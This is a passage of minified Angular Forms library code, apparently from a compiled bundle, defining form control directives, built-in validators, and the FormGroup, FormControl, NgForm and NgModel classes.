new(T||I)(n.Y36(n.Qsj),n.Y36(n.SBq),n.Y36(H,8))},I.\\u0275dir=n.lG2({type:I,selectors:[["input","formControlName","",3,"type","checkbox"],["textarea","formControlName",""],["input","formControl","",3,"type","checkbox"],["textarea","formControl",""],["input","ngModel","",3,"type","checkbox"],["textarea","ngModel",""],["","ngDefaultControl",""]],hostBindings:function(T,ue){1&T&&n.NdJ("input",function(Ot){return ue._handleInput(Ot.target.value)})("blur",function(){return ue.onTouched()})("compositionstart",function(){return ue._compositionStart()})("compositionend",function(Ot){return ue._compositionEnd(Ot.target.value)})},features:[n._Bn([C]),n.qOj]}),I})();const U=!1;function G(I){return null==I||("string"==typeof I||Array.isArray(I))&&0===I.length}function Q(I){return null!=I&&"number"==typeof I.length}const oe=new n.OlP("NgValidators"),Ce=new n.OlP("NgAsyncValidators"),k=/^(?=.{1,254}$)(?=.{1,64}@)[a-zA-Z0-9!#$%&\'*+/=?^_`{|}~-]+(?:\\.[a-zA-Z0-9!#$%&\'*+/=?^_`{|}~-]+)*@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;class K{static min(L){return function se(I){return L=>{if(G(L.value)||G(I))return null;const T=parseFloat(L.value);return!isNaN(T)&&T<I?{min:{min:I,actual:L.value}}:null}}(L)}static max(L){return function ee(I){return L=>{if(G(L.value)||G(I))return null;const T=parseFloat(L.value);return!isNaN(T)&&T>I?{max:{max:I,actual:L.value}}:null}}(L)}static required(L){return q(L)}static requiredTrue(L){return we(L)}static email(L){return function ce(I){return G(I.value)||k.test(I.value)?null:{email:!0}}(L)}static minLength(L){return je(L)}static maxLength(L){return Ze(L)}static pattern(L){return le(L)}static nullValidator(L){return null}static compose(L){return ze(L)}static composeAsync(L){return re(L)}}function q(I){return G(I.value)?{required:!0}:null}function we(I){return!0===I.value?null:{required:!0}}function je(I){return L=>G(L.value)||!Q(L.value)?null:L.value.length<I?{minlength:{requiredLength:I,actualLength:L.value.length}}:null}function Ze(I){return L=>Q(L.value)&&L.value.length>I?{maxlength:{requiredLength:I,actualLength:L.value.length}}:null}function le(I){if(!I)return Oe;let L,T;return"string"==typeof I?(T="","^"!==I.charAt(0)&&(T+="^"),T+=I,"$"!==I.charAt(I.length-1)&&(T+="$"),L=new RegExp(T)):(T=I.toString(),L=I),ue=>{if(G(ue.value))return null;const gt=ue.value;return L.test(gt)?null:{pattern:{requiredPattern:T,actualValue:gt}}}}function Oe(I){return null}function Qe(I){return null!=I}function Ye(I){const L=(0,n.QGY)(I)?(0,s.D)(I):I;if(U&&!(0,n.CqO)(L)){let T="Expected async validator to return Promise or Observable.";throw"object"==typeof I&&(T+=" Are you using a synchronous validator where an async validator is expected?"),new n.vHH(-1101,T)}return L}function qe(I){let L={};return I.forEach(T=>{L=null!=T?{...L,...T}:L}),0===Object.keys(L).length?null:L}function Ke(I,L){return L.map(T=>T(I))}function bt(I){return I.map(L=>function dt(I){return!I.validate}(L)?L:T=>L.validate(T))}function ze(I){if(!I)return null;const L=I.filter(Qe);return 0==L.length?null:function(T){return qe(Ke(T,L))}}function De(I){return null!=I?ze(bt(I)):null}function re(I){if(!I)return null;const L=I.filter(Qe);return 0==L.length?null:function(T){const ue=Ke(T,L).map(Ye);return(0,u.D)(ue).pipe((0,c.U)(qe))}}function ve(I){return null!=I?re(bt(I)):null}function We(I,L){return null===I?[L]:Array.isArray(I)?[...I,L]:[I,L]}function xt(I){return I._rawValidators}function Be(I){return I._rawAsyncValidators}function pe(I){return I?Array.isArray(I)?I:[I]:[]}function P(I,L){return Array.isArray(I)?I.includes(L):I===L}function w(I,L){const T=pe(L);return pe(I).forEach(gt=>{P(T,gt)||T.push(gt)}),T}function R(I,L){return pe(L).filter(T=>!P(I,T))}class X{constructor(){this._rawValidators=[],this._rawAsyncValidators=[],this._onDestroyCallbacks=[]}get value(){return this.control?this.control.value:null}get valid(){return this.control?this.control.valid:null}get invalid(){return this.control?this.control.invalid:null}get pending(){return this.control?this.control.pending:null}get disabled(){return this.control?this.control.disabled:null}get enabled(){return this.control?this.control.enabled:null}get errors(){return this.control?this.control.errors:null}get pristine(){return this.control?this.control.pristine:null}get dirty(){return this.control?this.control.dirty:null}get touched(){return this.control?this.control.touched:null}get status(){return this.control?this.control.status:null}get untouched(){return this.control?this.control.untouched:null}get statusChanges(){return this.control?this.control.statusChanges:null}get valueChanges(){return this.control?this.control.valueChanges:null}get path(){return null}_setValidators(L){this._rawValidators=L||[],this._composedValidatorFn=De(this._rawValidators)}_setAsyncValidators(L){this._rawAsyncValidators=L||[],this._composedAsyncValidatorFn=ve(this._rawAsyncValidators)}get validator(){return this._composedValidatorFn||null}get asyncValidator(){return this._composedAsyncValidatorFn||null}_registerOnDestroy(L){this._onDestroyCallbacks.push(L)}_invokeOnDestroyCallbacks(){this._onDestroyCallbacks.forEach(L=>L()),this._onDestroyCallbacks=[]}reset(L){this.control&&this.control.reset(L)}hasError(L,T){return!!this.control&&this.control.hasError(L,T)}getError(L,T){return this.control?this.control.getError(L,T):null}}class _e extends X{get formDirective(){return null}get path(){return null}}class ct extends X{constructor(){super(...arguments),this._parent=null,this.name=null,this.valueAccessor=null}}class Je{constructor(L){this._cd=L}get isTouched(){return!!this._cd?.control?.touched}get isUntouched(){return!!this._cd?.control?.untouched}get isPristine(){return!!this._cd?.control?.pristine}get isDirty(){return!!this._cd?.control?.dirty}get isValid(){return!!this._cd?.control?.valid}get isInvalid(){return!!this._cd?.control?.invalid}get isPending(){return!!this._cd?.control?.pending}get isSubmitted(){return!!this._cd?.submitted}}let Pt=(()=>{class I extends Je{constructor(T){super(T)}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(ct,2))},I.\\u0275dir=n.lG2({type:I,selectors:[["","formControlName",""],["","ngModel",""],["","formControl",""]],hostVars:14,hostBindings:function(T,ue){2&T&&n.ekj("ng-untouched",ue.isUntouched)("ng-touched",ue.isTouched)("ng-pristine",ue.isPristine)("ng-dirty",ue.isDirty)("ng-valid",ue.isValid)("ng-invalid",ue.isInvalid)("ng-pending",ue.isPending)},features:[n.qOj]}),I})(),Ie=(()=>{class I extends Je{constructor(T){super(T)}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(_e,10))},I.\\u0275dir=n.lG2({type:I,selectors:[["","formGroupName",""],["","formArrayName",""],["","ngModelGroup",""],["","formGroup",""],["form",3,"ngNoForm",""],["","ngForm",""]],hostVars:16,hostBindings:function(T,ue){2&T&&n.ekj("ng-untouched",ue.isUntouched)("ng-touched",ue.isTouched)("ng-pristine",ue.isPristine)("ng-dirty",ue.isDirty)("ng-valid",ue.isValid)("ng-invalid",ue.isInvalid)("ng-pending",ue.isPending)("ng-submitted",ue.isSubmitted)},features:[n.qOj]}),I})();function c1(I,L){return I?`with name: \'${L}\'`:`at index: ${L}`}const Fe=!1,be="VALID",Pe="INVALID",Re="PENDING",Ue="DISABLED";function xe(I){return(Ct(I)?I.validators:I)||null}function Ae(I,L){return(Ct(L)?L.asyncValidators:I)||null}function Ct(I){return null!=I&&!Array.isArray(I)&&"object"==typeof I}class nt{constructor(L,T){this._pendingDirty=!1,this._hasOwnPendingAsyncValidator=!1,this._pendingTouched=!1,this._onCollectionChange=()=>{},this._parent=null,this.pristine=!0,this.touched=!1,this._onDisabledChange=[],this._assignValidators(L),this._assignAsyncValidators(T)}get validator(){return this._composedValidatorFn}set validator(L){this._rawValidators=this._composedValidatorFn=L}get asyncValidator(){return this._composedAsyncValidatorFn}set asyncValidator(L){this._rawAsyncValidators=this._composedAsyncValidatorFn=L}get parent(){return this._parent}get valid(){return this.status===be}get invalid(){return this.status===Pe}get pending(){return this.status==Re}get disabled(){return this.status===Ue}get enabled(){return this.status!==Ue}get dirty(){return!this.pristine}get untouched(){return!this.touched}get updateOn(){return this._updateOn?this._updateOn:this.parent?this.parent.updateOn:"change"}setValidators(L){this._assignValidators(L)}setAsyncValidators(L){this._assignAsyncValidators(L)}addValidators(L){this.setValidators(w(L,this._rawValidators))}addAsyncValidators(L){this.setAsyncValidators(w(L,this._rawAsyncValidators))}removeValidators(L){this.setValidators(R(L,this._rawValidators))}removeAsyncValidators(L){this.setAsyncValidators(R(L,this._rawAsyncValidators))}hasValidator(L){return P(this._rawValidators,L)}hasAsyncValidator(L){return P(this._rawAsyncValidators,L)}clearValidators(){this.validator=null}clearAsyncValidators(){this.asyncValidator=null}markAsTouched(L={}){this.touched=!0,this._parent&&!L.onlySelf&&this._parent.markAsTouched(L)}markAllAsTouched(){this.markAsTouched({onlySelf:!0}),this._forEachChild(L=>L.markAllAsTouched())}markAsUntouched(L={}){this.touched=!1,this._pendingTouched=!1,this._forEachChild(T=>{T.markAsUntouched({onlySelf:!0})}),this._parent&&!L.onlySelf&&this._parent._updateTouched(L)}markAsDirty(L={}){this.pristine=!1,this._parent&&!L.onlySelf&&this._parent.markAsDirty(L)}markAsPristine(L={}){this.pristine=!0,this._pendingDirty=!1,this._forEachChild(T=>{T.markAsPristine({onlySelf:!0})}),this._parent&&!L.onlySelf&&this._parent._updatePristine(L)}markAsPending(L={}){this.status=Re,!1!==L.emitEvent&&this.statusChanges.emit(this.status),this._parent&&!L.onlySelf&&this._parent.markAsPending(L)}disable(L={}){const T=this._parentMarkedDirty(L.onlySelf);this.status=Ue,this.errors=null,this._forEachChild(ue=>{ue.disable({...L,onlySelf:!0})}),this._updateValue(),!1!==L.emitEvent&&(this.valueChanges.emit(this.value),this.statusChanges.emit(this.status)),this._updateAncestors({...L,skipPristineCheck:T}),this._onDisabledChange.forEach(ue=>ue(!0))}enable(L={}){const T=this._parentMarkedDirty(L.onlySelf);this.status=be,this._forEachChild(ue=>{ue.enable({...L,onlySelf:!0})}),this.updateValueAndValidity({onlySelf:!0,emitEvent:L.emitEvent}),this._updateAncestors({...L,skipPristineCheck:T}),this._onDisabledChange.forEach(ue=>ue(!1))}_updateAncestors(L){this._parent&&!L.onlySelf&&(this._parent.updateValueAndValidity(L),L.skipPristineCheck||this._parent._updatePristine(),this._parent._updateTouched())}setParent(L){this._parent=L}getRawValue(){return this.value}updateValueAndValidity(L={}){this._setInitialStatus(),this._updateValue(),this.enabled&&(this._cancelExistingSubscription(),this.errors=this._runValidator(),this.status=this._calculateStatus(),(this.status===be||this.status===Re)&&this._runAsyncValidator(L.emitEvent)),!1!==L.emitEvent&&(this.valueChanges.emit(this.value),this.statusChanges.emit(this.status)),this._parent&&!L.onlySelf&&this._parent.updateValueAndValidity(L)}_updateTreeValidity(L={emitEvent:!0}){this._forEachChild(T=>T._updateTreeValidity(L)),this.updateValueAndValidity({onlySelf:!0,emitEvent:L.emitEvent})}_setInitialStatus(){this.status=this._allControlsDisabled()?Ue:be}_runValidator(){return this.validator?this.validator(this):null}_runAsyncValidator(L){if(this.asyncValidator){this.status=Re,this._hasOwnPendingAsyncValidator=!0;const T=Ye(this.asyncValidator(this));this._asyncValidationSubscription=T.subscribe(ue=>{this._hasOwnPendingAsyncValidator=!1,this.setErrors(ue,{emitEvent:L})})}}_cancelExistingSubscription(){this._asyncValidationSubscription&&(this._asyncValidationSubscription.unsubscribe(),this._hasOwnPendingAsyncValidator=!1)}setErrors(L,T={}){this.errors=L,this._updateControlsErrors(!1!==T.emitEvent)}get(L){let T=L;return null==T||(Array.isArray(T)||(T=T.split(".")),0===T.length)?null:T.reduce((ue,gt)=>ue&&ue._find(gt),this)}getError(L,T){const ue=T?this.get(T):this;return ue&&ue.errors?ue.errors[L]:null}hasError(L,T){return!!this.getError(L,T)}get root(){let L=this;for(;L._parent;)L=L._parent;return L}_updateControlsErrors(L){this.status=this._calculateStatus(),L&&this.statusChanges.emit(this.status),this._parent&&this._parent._updateControlsErrors(L)}_initObservables(){this.valueChanges=new n.vpe,this.statusChanges=new n.vpe}_calculateStatus(){return this._allControlsDisabled()?Ue:this.errors?Pe:this._hasOwnPendingAsyncValidator||this._anyControlsHaveStatus(Re)?Re:this._anyControlsHaveStatus(Pe)?Pe:be}_anyControlsHaveStatus(L){return this._anyControls(T=>T.status===L)}_anyControlsDirty(){return this._anyControls(L=>L.dirty)}_anyControlsTouched(){return this._anyControls(L=>L.touched)}_updatePristine(L={}){this.pristine=!this._anyControlsDirty(),this._parent&&!L.onlySelf&&this._parent._updatePristine(L)}_updateTouched(L={}){this.touched=this._anyControlsTouched(),this._parent&&!L.onlySelf&&this._parent._updateTouched(L)}_registerOnCollectionChange(L){this._onCollectionChange=L}_setUpdateStrategy(L){Ct(L)&&null!=L.updateOn&&(this._updateOn=L.updateOn)}_parentMarkedDirty(L){return!L&&!(!this._parent||!this._parent.dirty)&&!this._parent._anyControlsDirty()}_find(L){return null}_assignValidators(L){this._rawValidators=Array.isArray(L)?L.slice():L,this._composedValidatorFn=function J(I){return Array.isArray(I)?De(I):I||null}(this._rawValidators)}_assignAsyncValidators(L){this._rawAsyncValidators=Array.isArray(L)?L.slice():L,this._composedAsyncValidatorFn=function mt(I){return Array.isArray(I)?ve(I):I||null}(this._rawAsyncValidators)}}class fe extends nt{constructor(L,T,ue){super(xe(T),Ae(ue,T)),this.controls=L,this._initObservables(),this._setUpdateStrategy(T),this._setUpControls(),this.updateValueAndValidity({onlySelf:!0,emitEvent:!!this.asyncValidator})}registerControl(L,T){return this.controls[L]?this.controls[L]:(this.controls[L]=T,T.setParent(this),T._registerOnCollectionChange(this._onCollectionChange),T)}addControl(L,T,ue={}){this.registerControl(L,T),this.updateValueAndValidity({emitEvent:ue.emitEvent}),this._onCollectionChange()}removeControl(L,T={}){this.controls[L]&&this.controls[L]._registerOnCollectionChange(()=>{}),delete this.controls[L],this.updateValueAndValidity({emitEvent:T.emitEvent}),this._onCollectionChange()}setControl(L,T,ue={}){this.controls[L]&&this.controls[L]._registerOnCollectionChange(()=>{}),delete this.controls[L],T&&this.registerControl(L,T),this.updateValueAndValidity({emitEvent:ue.emitEvent}),this._onCollectionChange()}contains(L){return this.controls.hasOwnProperty(L)&&this.controls[L].enabled}setValue(L,T={}){(function pt(I,L,T){I._forEachChild((ue,gt)=>{if(void 0===T[gt])throw new n.vHH(1002,Fe?function kt(I,L){return`Must supply a value for form control ${c1(I,L)}`}(L,gt):"")})})(this,!0,L),Object.keys(L).forEach(ue=>{(function jt(I,L,T){const ue=I.controls;if(!(L?Object.keys(ue):ue).length)throw new n.vHH(1e3,Fe?function It(I){return`\\n There are no form controls registered with this ${I?"group":"array"} yet. If you\'re using ngModel,\\n you may want to check next tick (e.g. use setTimeout).\\n `}(L):"");if(!ue[T])throw new n.vHH(1001,Fe?function _t(I,L){return`Cannot find form control ${c1(I,L)}`}(L,T):"")})(this,!0,ue),this.controls[ue].setValue(L[ue],{onlySelf:!0,emitEvent:T.emitEvent})}),this.updateValueAndValidity(T)}patchValue(L,T={}){null!=L&&(Object.keys(L).forEach(ue=>{const gt=this.controls[ue];gt&>.patchValue(L[ue],{onlySelf:!0,emitEvent:T.emitEvent})}),this.updateValueAndValidity(T))}reset(L={},T={}){this._forEachChild((ue,gt)=>{ue.reset(L[gt],{onlySelf:!0,emitEvent:T.emitEvent})}),this._updatePristine(T),this._updateTouched(T),this.updateValueAndValidity(T)}getRawValue(){return this._reduceChildren({},(L,T,ue)=>(L[ue]=T.getRawValue(),L))}_syncPendingControls(){let L=this._reduceChildren(!1,(T,ue)=>!!ue._syncPendingControls()||T);return L&&this.updateValueAndValidity({onlySelf:!0}),L}_forEachChild(L){Object.keys(this.controls).forEach(T=>{const ue=this.controls[T];ue&&L(ue,T)})}_setUpControls(){this._forEachChild(L=>{L.setParent(this),L._registerOnCollectionChange(this._onCollectionChange)})}_updateValue(){this.value=this._reduceValue()}_anyControls(L){for(const[T,ue]of Object.entries(this.controls))if(this.contains(T)&&L(ue))return!0;return!1}_reduceValue(){return this._reduceChildren({},(T,ue,gt)=>((ue.enabled||this.disabled)&&(T[gt]=ue.value),T))}_reduceChildren(L,T){let ue=L;return this._forEachChild((gt,Ot)=>{ue=T(ue,gt,Ot)}),ue}_allControlsDisabled(){for(const L of Object.keys(this.controls))if(this.controls[L].enabled)return!1;return Object.keys(this.controls).length>0||this.disabled}_find(L){return this.controls.hasOwnProperty(L)?this.controls[L]:null}}const Ee=fe,Ne=new n.OlP("CallSetDisabledState",{providedIn:"root",factory:()=>ut}),ut="always";function Rt(I,L){return[...L.path,I]}function Zt(I,L,T=ut){gn(I,L),L.valueAccessor.writeValue(I.value),(I.disabled||"always"===T)&&L.valueAccessor.setDisabledState?.(I.disabled),function P1(I,L){L.valueAccessor.registerOnChange(T=>{I._pendingValue=T,I._pendingChange=!0,I._pendingDirty=!0,"change"===I.updateOn&&Ge(I,L)})}(I,L),function vt(I,L){const T=(ue,gt)=>{L.valueAccessor.writeValue(ue),gt&&L.viewToModelUpdate(ue)};I.registerOnChange(T),L._registerOnDestroy(()=>{I._unregisterOnChange(T)})}(I,L),function on(I,L){L.valueAccessor.registerOnTouched(()=>{I._pendingTouched=!0,"blur"===I.updateOn&&I._pendingChange&&Ge(I,L),"submit"!==I.updateOn&&I.markAsTouched()})}(I,L),function G1(I,L){if(L.valueAccessor.setDisabledState){const T=ue=>{L.valueAccessor.setDisabledState(ue)};I.registerOnDisabledChange(T),L._registerOnDestroy(()=>{I._unregisterOnDisabledChange(T)})}}(I,L)}function a1(I,L,T=!0){const ue=()=>{};L.valueAccessor&&(L.valueAccessor.registerOnChange(ue),L.valueAccessor.registerOnTouched(ue)),nn(I,L),I&&(L._invokeOnDestroyCallbacks(),I._registerOnCollectionChange(()=>{}))}function _1(I,L){I.forEach(T=>{T.registerOnValidatorChange&&T.registerOnValidatorChange(L)})}function gn(I,L){const T=xt(I);null!==L.validator?I.setValidators(We(T,L.validator)):"function"==typeof T&&I.setValidators([T]);const ue=Be(I);null!==L.asyncValidator?I.setAsyncValidators(We(ue,L.asyncValidator)):"function"==typeof ue&&I.setAsyncValidators([ue]);const gt=()=>I.updateValueAndValidity();_1(L._rawValidators,gt),_1(L._rawAsyncValidators,gt)}function nn(I,L){let T=!1;if(null!==I){if(null!==L.validator){const gt=xt(I);if(Array.isArray(gt)&>.length>0){const Ot=gt.filter(Jt=>Jt!==L.validator);Ot.length!==gt.length&&(T=!0,I.setValidators(Ot))}}if(null!==L.asyncValidator){const gt=Be(I);if(Array.isArray(gt)&>.length>0){const Ot=gt.filter(Jt=>Jt!==L.asyncValidator);Ot.length!==gt.length&&(T=!0,I.setAsyncValidators(Ot))}}}const ue=()=>{};return _1(L._rawValidators,ue),_1(L._rawAsyncValidators,ue),T}function Ge(I,L){I._pendingDirty&&I.markAsDirty(),I.setValue(I._pendingValue,{emitModelToViewChange:!1}),L.viewToModelUpdate(I._pendingValue),I._pendingChange=!1}function Me(I,L){gn(I,L)}function Wt(I,L){if(!I.hasOwnProperty("model"))return!1;const T=I.model;return!!T.isFirstChange()||!Object.is(L,T.currentValue)}function w1(I,L){I._syncPendingControls(),L.forEach(T=>{const ue=T.control;"submit"===ue.updateOn&&ue._pendingChange&&(T.viewToModelUpdate(ue._pendingValue),ue._pendingChange=!1)})}function Qt(I,L){if(!L)return null;let T,ue,gt;return Array.isArray(L),L.forEach(Ot=>{Ot.constructor===j?T=Ot:function p1(I){return Object.getPrototypeOf(I.constructor)===E}(Ot)?ue=Ot:gt=Ot}),gt||ue||T||null}const Y1={provide:_e,useExisting:(0,n.Gpc)(()=>V1)},T1=(()=>Promise.resolve())();let V1=(()=>{class I extends _e{constructor(T,ue,gt){super(),this.callSetDisabledState=gt,this.submitted=!1,this._directives=new Set,this.ngSubmit=new n.vpe,this.form=new fe({},De(T),ve(ue))}ngAfterViewInit(){this._setUpdateStrategy()}get formDirective(){return this}get control(){return this.form}get path(){return[]}get controls(){return this.form.controls}addControl(T){T1.then(()=>{const ue=this._findContainer(T.path);T.control=ue.registerControl(T.name,T.control),Zt(T.control,T,this.callSetDisabledState),T.control.updateValueAndValidity({emitEvent:!1}),this._directives.add(T)})}getControl(T){return this.form.get(T.path)}removeControl(T){T1.then(()=>{const ue=this._findContainer(T.path);ue&&ue.removeControl(T.name),this._directives.delete(T)})}addFormGroup(T){T1.then(()=>{const ue=this._findContainer(T.path),gt=new fe({});Me(gt,T),ue.registerControl(T.name,gt),gt.updateValueAndValidity({emitEvent:!1})})}removeFormGroup(T){T1.then(()=>{const ue=this._findContainer(T.path);ue&&ue.removeControl(T.name)})}getFormGroup(T){return this.form.get(T.path)}updateModel(T,ue){T1.then(()=>{this.form.get(T.path).setValue(ue)})}setValue(T){this.control.setValue(T)}onSubmit(T){return this.submitted=!0,w1(this.form,this._directives),this.ngSubmit.emit(T),"dialog"===T?.target?.method}onReset(){this.resetForm()}resetForm(T){this.form.reset(T),this.submitted=!1}_setUpdateStrategy(){this.options&&null!=this.options.updateOn&&(this.form._updateOn=this.options.updateOn)}_findContainer(T){return T.pop(),T.length?this.form.get(T):this.form}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(oe,10),n.Y36(Ce,10),n.Y36(Ne,8))},I.\\u0275dir=n.lG2({type:I,selectors:[["form",3,"ngNoForm","",3,"formGroup",""],["ng-form"],["","ngForm",""]],hostBindings:function(T,ue){1&T&&n.NdJ("submit",function(Ot){return ue.onSubmit(Ot)})("reset",function(){return ue.onReset()})},inputs:{options:["ngFormOptions","options"]},outputs:{ngSubmit:"ngSubmit"},exportAs:["ngForm"],features:[n._Bn([Y1]),n.qOj]}),I})();function vn(I,L){const T=I.indexOf(L);T>-1&&I.splice(T,1)}function E1(I){return"object"==typeof I&&null!==I&&2===Object.keys(I).length&&"value"in I&&"disabled"in I}const In=class extends nt{constructor(L=null,T,ue){super(xe(T),Ae(ue,T)),this.defaultValue=null,this._onChange=[],this._pendingChange=!1,this._applyFormState(L),this._setUpdateStrategy(T),this._initObservables(),this.updateValueAndValidity({onlySelf:!0,emitEvent:!!this.asyncValidator}),Ct(T)&&(T.nonNullable||T.initialValueIsDefault)&&(this.defaultValue=E1(L)?L.value:L)}setValue(L,T={}){this.value=this._pendingValue=L,this._onChange.length&&!1!==T.emitModelToViewChange&&this._onChange.forEach(ue=>ue(this.value,!1!==T.emitViewToModelChange)),this.updateValueAndValidity(T)}patchValue(L,T={}){this.setValue(L,T)}reset(L=this.defaultValue,T={}){this._applyFormState(L),this.markAsPristine(T),this.markAsUntouched(T),this.setValue(this.value,T),this._pendingChange=!1}_updateValue(){}_anyControls(L){return!1}_allControlsDisabled(){return this.disabled}registerOnChange(L){this._onChange.push(L)}_unregisterOnChange(L){vn(this._onChange,L)}registerOnDisabledChange(L){this._onDisabledChange.push(L)}_unregisterOnDisabledChange(L){vn(this._onDisabledChange,L)}_forEachChild(L){}_syncPendingControls(){return!("submit"!==this.updateOn||(this._pendingDirty&&this.markAsDirty(),this._pendingTouched&&this.markAsTouched(),!this._pendingChange)||(this.setValue(this._pendingValue,{onlySelf:!0,emitModelToViewChange:!1}),0))}_applyFormState(L){E1(L)?(this.value=this._pendingValue=L.value,L.disabled?this.disable({onlySelf:!0,emitEvent:!1}):this.enable({onlySelf:!0,emitEvent:!1})):this.value=this._pendingValue=L}},Gn=In,An={provide:ct,useExisting:(0,n.Gpc)(()=>li)},$n=(()=>Promise.resolve())();let li=(()=>{class I extends ct{constructor(T,ue,gt,Ot,Jt,Tt){super(),this._changeDetectorRef=Jt,this.callSetDisabledState=Tt,this.control=new In,this._registered=!1,this.update=new n.vpe,this._parent=T,this._setValidators(ue),this._setAsyncValidators(gt),this.valueAccessor=Qt(0,Ot)}ngOnChanges(T){if(this._checkForErrors(),!this._registered||"name"in T){if(this._registered&&(this._checkName(),this.formDirective)){const ue=T.name.previousValue;this.formDirective.removeControl({name:ue,path:this._getPath(ue)})}this._setUpControl()}"isDisabled"in T&&this._updateDisabled(T),Wt(T,this.viewModel)&&(this._updateValue(this.model),this.viewModel=this.model)}ngOnDestroy(){this.formDirective&&this.formDirective.removeControl(this)}get path(){return this._getPath(this.name)}get formDirective(){return this._parent?this._parent.formDirective:null}viewToModelUpdate(T){this.viewModel=T,this.update.emit(T)}_setUpControl(){this._setUpdateStrategy(),this._isStandalone()?this._setUpStandalone():this.formDirective.addControl(this),this._registered=!0}_setUpdateStrategy(){this.options&&null!=this.options.updateOn&&(this.control._updateOn=this.options.updateOn)}_isStandalone(){return!this._parent||!(!this.options||!this.options.standalone)}_setUpStandalone(){Zt(this.control,this,this.callSetDisabledState),this.control.updateValueAndValidity({emitEvent:!1})}_checkForErrors(){this._isStandalone()||this._checkParentType(),this._checkName()}_checkParentType(){}_checkName(){this.options&&this.options.name&&(this.name=this.options.name),this._isStandalone()}_updateValue(T){$n.then(()=>{this.control.setValue(T,{emitViewToModelChange:!1}),this._changeDetectorRef?.markForCheck()})}_updateDisabled(T){const ue=T.isDisabled.currentValue,gt=0!==ue&&(0,n.D6c)(ue);$n.then(()=>{gt&&!this.control.disabled?this.control.disable():!gt&&this.control.disabled&&this.control.enable(),this._changeDetectorRef?.markForCheck()})}_getPath(T){return this._parent?Rt(T,this._parent):[T]}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(_e,9),n.Y36(oe,10),n.Y36(Ce,10),n.Y36(_,10),n.Y36(n.sBO,8),n.Y36(Ne,8))},I.\\u0275dir=n.lG2({type:I,selectors:[["","ngModel","",3,"formControlName","",3,"formControl",""]],inputs:{name:"name",isDisabled:["disabled","isDisabled"],model:["ngModel","model"],options:["ngModelOptions","options"]},outputs:{update:"ngModelChange"},exportAs:["ngModel"],features:[n._Bn([An]),n.qOj,n.TTD]}),I})(),L1=(()=>{class I{}return I.\\u0275fac=function(T){return new(T||I)},I.\\u0275dir=n.lG2({type:I,selectors:[["form",3,"ngNoForm","",3,"ngNativeValidate",""]],hostAttrs:["novalidate",""]}),I})();const Cn={provide:_,useExisting:(0,n.Gpc)(()=>Mn),multi:!0};let Mn=(()=>{class I extends E{writeValue(T){this.setProperty("value",T??"")}registerOnChange(T){this.onChange=ue=>{T(""==ue?null:parseFloat(ue))}}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["input","type","number","formControlName",""],["input","type","number","formControl",""],["input","type","number","ngModel",""]],hostBindings:function(T,ue){1&T&&n.NdJ("input",function(Ot){return ue.onChange(Ot.target.value)})("blur",function(){return ue.onTouched()})},features:[n._Bn([Cn]),n.qOj]}),I})(),_i=(()=>{class I{}return I.\\u0275fac=function(T){return new(T||I)},I.\\u0275mod=n.oAB({type:I}),I.\\u0275inj=n.cJS({}),I})();const Sn=new n.OlP("NgModelWithFormControlWarning"),Ei={provide:ct,useExisting:(0,n.Gpc)(()=>Hn)};let Hn=(()=>{class I extends ct{set isDisabled(T){}constructor(T,ue,gt,Ot,Jt){super(),this._ngModelWarningConfig=Ot,this.callSetDisabledState=Jt,this.update=new n.vpe,this._ngModelWarningSent=!1,this._setValidators(T),this._setAsyncValidators(ue),this.valueAccessor=Qt(0,gt)}ngOnChanges(T){if(this._isControlChanged(T)){const ue=T.form.previousValue;ue&&a1(ue,this,!1),Zt(this.form,this,this.callSetDisabledState),this.form.updateValueAndValidity({emitEvent:!1})}Wt(T,this.viewModel)&&(this.form.setValue(this.model),this.viewModel=this.model)}ngOnDestroy(){this.form&&a1(this.form,this,!1)}get path(){return[]}get control(){return this.form}viewToModelUpdate(T){this.viewModel=T,this.update.emit(T)}_isControlChanged(T){return T.hasOwnProperty("form")}}return I._ngModelWarningSentOnce=!1,I.\\u0275fac=function(T){return new(T||I)(n.Y36(oe,10),n.Y36(Ce,10),n.Y36(_,10),n.Y36(Sn,8),n.Y36(Ne,8))},I.\\u0275dir=n.lG2({type:I,selectors:[["","formControl",""]],inputs:{form:["formControl","form"],isDisabled:["disabled","isDisabled"],model:["ngModel","model"]},outputs:{update:"ngModelChange"},exportAs:["ngForm"],features:[n._Bn([Ei]),n.qOj,n.TTD]}),I})();const ui={provide:_e,useExisting:(0,n.Gpc)(()=>pn)};let pn=(()=>{class I extends _e{constructor(T,ue,gt){super(),this.callSetDisabledState=gt,this.submitted=!1,this._onCollectionChange=()=>this._updateDomValue(),this.directives=[],this.form=null,this.ngSubmit=new n.vpe,this._setValidators(T),this._setAsyncValidators(ue)}ngOnChanges(T){this._checkFormPresent(),T.hasOwnProperty("form")&&(this._updateValidators(),this._updateDomValue(),this._updateRegistrations(),this._oldForm=this.form)}ngOnDestroy(){this.form&&(nn(this.form,this),this.form._onCollectionChange===this._onCollectionChange&&this.form._registerOnCollectionChange(()=>{}))}get formDirective(){return this}get control(){return this.form}get path(){return[]}addControl(T){const ue=this.form.get(T.path);return Zt(ue,T,this.callSetDisabledState),ue.updateValueAndValidity({emitEvent:!1}),this.directives.push(T),ue}getControl(T){return this.form.get(T.path)}removeControl(T){a1(T.control||null,T,!1),function h1(I,L){const T=I.indexOf(L);T>-1&&I.splice(T,1)}(this.directives,T)}addFormGroup(T){this._setUpFormContainer(T)}removeFormGroup(T){this._cleanUpFormContainer(T)}getFormGroup(T){return this.form.get(T.path)}addFormArray(T){this._setUpFormContainer(T)}removeFormArray(T){this._cleanUpFormContainer(T)}getFormArray(T){return this.form.get(T.path)}updateModel(T,ue){this.form.get(T.path).setValue(ue)}onSubmit(T){return this.submitted=!0,w1(this.form,this.directives),this.ngSubmit.emit(T),"dialog"===T?.target?.method}onReset(){this.resetForm()}resetForm(T){this.form.reset(T),this.submitted=!1}_updateDomValue(){this.directives.forEach(T=>{const ue=T.control,gt=this.form.get(T.path);ue!==gt&&(a1(ue||null,T),(I=>I instanceof 